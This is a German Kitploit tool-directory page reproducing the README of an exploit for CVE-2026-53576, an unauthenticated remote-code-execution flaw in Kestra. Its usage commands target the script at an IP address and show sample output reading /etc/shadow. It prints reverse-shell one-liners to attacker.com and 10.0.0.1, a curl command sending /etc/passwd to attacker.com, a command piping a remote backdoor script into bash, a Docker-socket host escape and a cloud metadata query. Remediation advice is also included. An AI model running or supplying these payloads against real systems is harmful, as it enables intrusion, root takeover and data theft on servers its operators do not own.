Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-53576 — Kestra Unauthenticated RCE Exploit (CVE-2026-53576) | Kitploit
Tools/GitHubGitHub/tamatahyt/cve-2026-53576
Authentication & AuthorizationPrivilege EscalationExploitationWeb Application ExploitationData ExfiltrationPost-ExploitationPenetration TestingRed TeamingPayload DevelopmentContainer Escape
GitHubtamatahyt/cve-2026-53576
vor 20 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-53576

Kestra Unauthenticated RCE Exploit (CVE-2026-53576)

Repository anzeigen

Kestra-Exploit für nicht authentifizierte RCE (CVE-2026-53576)

Python License Security Kestra

Kritische Umgehung der Authentifizierung führt zu nicht authentifizierter Remote-Codeausführung

Exploit • Schwachstellendetails • Auswirkungen • Behebung


⚠️ HAFTUNGSAUSSCHLUSS

Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken.

  • NICHT gegen Systeme verwenden, die dir nicht gehören oder für die du keine ausdrückliche schriftliche Genehmigung zum Testen hast.
  • NICHT für illegale Aktivitäten verwenden.
  • Der Autor ist NICHT verantwortlich für jeglichen Missbrauch dieses Tools.
  • Verwendung auf EIGENES RISIKO.

📋 Inhaltsverzeichnis

  • Überblick
  • Schwachstellendetails
  • Exploit-Verwendung
  • Installation
  • Beispiele
  • Auswirkungen
  • Behebung
  • Zeitplan
  • Referenzen
  • Lizenz

🔍 Überblick

CVE-2026-53576 ist eine kritische Schwachstelle in Kestra OSS bis Version v1.3.20, die nicht authentifizierte Remote-Codeausführung durch eine Umgehung des Authentifizierungsfilters ermöglicht.

Eckdaten


🚨 Schwachstellendetails

Grundursache

Der Authentifizierungsfilter in Kestra enthält einen kritischen Logikfehler:

root@kitploit:~
// Vulnerable code in AuthenticationFilter.java:53
boolean isConfigEndpoint = request.getPath().endsWith("/configs")

Dieser prüft, ob irgendeine API-Anfrage mit /configs endet, anstatt die exakte Route abzugleichen. Dadurch können Angreifer die Authentifizierung umgehen, indem sie /configs an jeden Endpunkt anhängen.

Schritte zur Ausnutzung

  1. Bösartigen Flow erstellen → POST /api/v1/main/flows/configs (umgeht Authentifizierung)
  2. Ausführung auslösen → POST /api/v1/main/executions/configs/configs (umgeht Authentifizierung)
  3. Befehle laufen als root → Vollständige Systemkompromittierung

Verwundbare Endpunkte

root@kitploit:~
# Any path ending in /configs bypasses authentication
/api/v1/main/flows/configs          # Create flows
/api/v1/main/executions/configs/configs  # Execute flows
/api/v1/{tenant}/flows/configs      # Any tenant
/api/v1/{tenant}/executions/configs/configs  # Any tenant

💻 Exploit-Verwendung

Grundlegende Verwendung

root@kitploit:~
python3 kestra_exploit.py <target_ip>

Erweiterte Verwendung

root@kitploit:~
# Custom port
python3 kestra_exploit.py 192.168.1.100 -p 8080

# HTTPS
python3 kestra_exploit.py 192.168.1.100 --https

# Custom command
python3 kestra_exploit.py 192.168.1.100 -c "whoami && hostname"

# Check Docker socket access
python3 kestra_exploit.py 192.168.1.100 --docker-check

# Clean up after exploitation
python3 kestra_exploit.py 192.168.1.100 --cleanup

# Full attack with all options
python3 kestra_exploit.py 192.168.1.100 -p 8080 --docker-check --cleanup -c "id > /tmp/proof.txt"

Befehlsoptionen


📦 Installation

Voraussetzungen

root@kitploit:~
pip install requests

Repository klonen

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-53576
cd CVE-2026-53576

Installation überprüfen

root@kitploit:~
python3 kestra_exploit.py --help

🎯 Beispiele

Beispiel 1: Grundlegende Ausnutzung

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100

Ausgabe:

root@kitploit:~
============================================================
Kestra Unauthenticated RCE Exploit
Security Research Tool - Authorized Use Only!
============================================================
[*] Target: 192.168.1.100:8080
[*] Protocol: http
============================================================

[Step 1] Creating malicious flow...
[*] Creating malicious flow at http://192.168.1.100:8080/api/v1/main/flows/configs
[*] Command: id > /tmp/proof.txt; cat /etc/shadow | head -1 >> /tmp/proof.txt
[+] Flow created successfully! (Status: 200)
[+] Flow revision: 26

[Step 2] Triggering execution...
[*] Triggering execution at http://192.168.1.100:8080/api/v1/main/executions/configs/configs
[+] Execution triggered successfully!
[+] Execution ID: 4nxNTHPk2WInfrnxQa6KF2
[+] Status: CREATED

[Step 3] Checking execution status...
[+] Execution status: SUCCESS
[*] Final status: SUCCESS

[+] Exploitation complete!
[*] To verify the attack succeeded, check the target system for:
    - /tmp/proof.txt containing command output
    - Kestra UI execution logs
    - Web UI: http://192.168.1.100:8080/ui/

Beispiel 2: Reverse Shell

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Beispiel 3: Datenexfiltration

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 -c "curl -X POST http://attacker.com/exfil -d @/etc/passwd"

Beispiel 4: Docker-Escape-Überprüfung

root@kitploit:~
python3 kestra_exploit.py 192.168.1.100 --docker-check --cleanup

💥 Auswirkungen

Direkte Auswirkungen

Angriffsfähigkeiten

Ein nicht authentifizierter Angreifer kann:

  1. Beliebige Befehle als root ausführen:

    root@kitploit:~
    # Read secrets
    cat /app/conf/application.yml
    
    # Reverse shell
    bash -i >& /dev/tcp/attacker.com/4444 0>&1
    
    # Install malware
    curl http://attacker.com/backdoor.sh | bash
    
  2. Zum Hostsystem wechseln (falls Docker-Socket eingebunden):

    root@kitploit:~
    docker run -v /:/host --privileged alpine chroot /host
    
  3. Auf Cloud-Metadaten zugreifen (falls bei Cloud-Anbieter):

    root@kitploit:~
    curl http://169.254.169.254/latest/meta-data/
    

🛡️ Behebung

Sofortmaßnahmen

  1. Verwundbare Instanzen herunterfahren:

    root@kitploit:~
    sudo systemctl stop kestra
    
  2. Öffentlichen Zugriff blockieren:

    root@kitploit:~
    iptables -A INPUT -p tcp --dport 8080 -j DROP
    
  3. Firewall-Regeln anwenden:

    • Auf interne Netzwerke beschränken
    • VPN für administrative Zugriffe verwenden

Dauerhafte Lösung

  1. Kestra auf die neueste gepatchte Version aktualisieren:

    • Überwachen: https://github.com/kestra-io/kestra
    • Prüfen: https://github.com/kestra-io/kestra/security/advisories/GHSA-2q47-568g-9h4f
  2. Ordentliche Authentifizierung implementieren:

    • OAuth2/OIDC statt Basis-Authentifizierung verwenden
    • Multi-Faktor-Authentifizierung aktivieren
  3. Container-Härtung:

    • Als Nicht-Root-Benutzer ausführen
    • /var/run/docker.sock nicht einbinden
    • Read-only-Root-Dateisystem verwenden
  4. Netzwerk-Härtung:

    • API-Gateway mit ordentlichem Routing verwenden
    • WAF-Regeln implementieren
    • Anfragevalidierung aktivieren

📅 Zeitplan

DatumEreignis
2026-05-26Schwachstelle entdeckt
2026-06-03Kestra Security Advisory veröffentlicht
2026-06-10

📚 Referenzen

  • Kestra Security Advisory GHSA-2q47-568g-9h4f
  • Huawei PSIRT
  • CVE-2026-53576 Details
  • OWASP Top 10 – Zugriffskontrolle defekt

📄 Lizenz

root@kitploit:~
MIT License

Copyright (c) 2026 Security Researcher

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

⭐ Unterstützung

Wenn du dieses Tool nützlich findest:

  • ⭐ Repository mit Stern markieren
  • 🐛 Probleme melden
  • 🔄 Pull-Requests einreichen
  • 📢 Verantwortungsvoll teilen

🙏 Danksagungen

  • Dem Kestra-Team für das Security Advisory
  • Den Sicherheitsforschern, die diese Schwachstelle offengelegt haben
  • Der Open-Source-Sicherheitscommunity

⚠️ VERANTWORTUNGSVOLL VERWENDEN ⚠️

Schwachstelle melden • Sicherheitsrichtlinie • Kontakt

Tool herunterladen
AttributWert
CVE-IDCVE-2026-53576
SchweregradKritisch (9.8 CVSS)
SchwachstellentypAuthentifizierungs-Umgehung + RCE
Betroffenes ProduktKestra OSS
Betroffene Versionen≤ v1.3.20
AngriffsvektorNetzwerk
Erforderliche AuthentifizierungKeine
BenutzerinteraktionKeine
OptionBeschreibung
targetZiel-IP-Adresse oder Hostname (erforderlich)
-p, --portPort (Standard: 8080)
--httpsHTTPS statt HTTP verwenden
-c, --commandBenutzerdefinierter Befehl zur Ausführung
--docker-checkDocker-Socket-Zugriff prüfen
--cleanupFlow nach der Ausnutzung löschen
--delayVerzögerung zwischen Anfragen (Standard: 2s)
KategorieSchweregradBeschreibung
Vertraulichkeit⚠️ KritischBeliebige Dateien lesen (Passwörter, Geheimnisse, Konfigurationen)
Integrität⚠️ KritischFlows und Daten erstellen/ändern/löschen
Verfügbarkeit⚠️ HochSystem herunterfahren, Ressourcenerschöpfung
Authentifizierung⚠️ KritischVollständige Umgehung der Basis-Authentifizierung
Privilegieneskalation⚠️ KritischBefehle laufen als root (uid=0)
Container-Escape⚠️ KritischHost-Kompromittierung über Docker-Socket
CVE-2026-53576 zugewiesen
2026-06-15Öffentliche Offenlegung
2026-08-01PoC veröffentlicht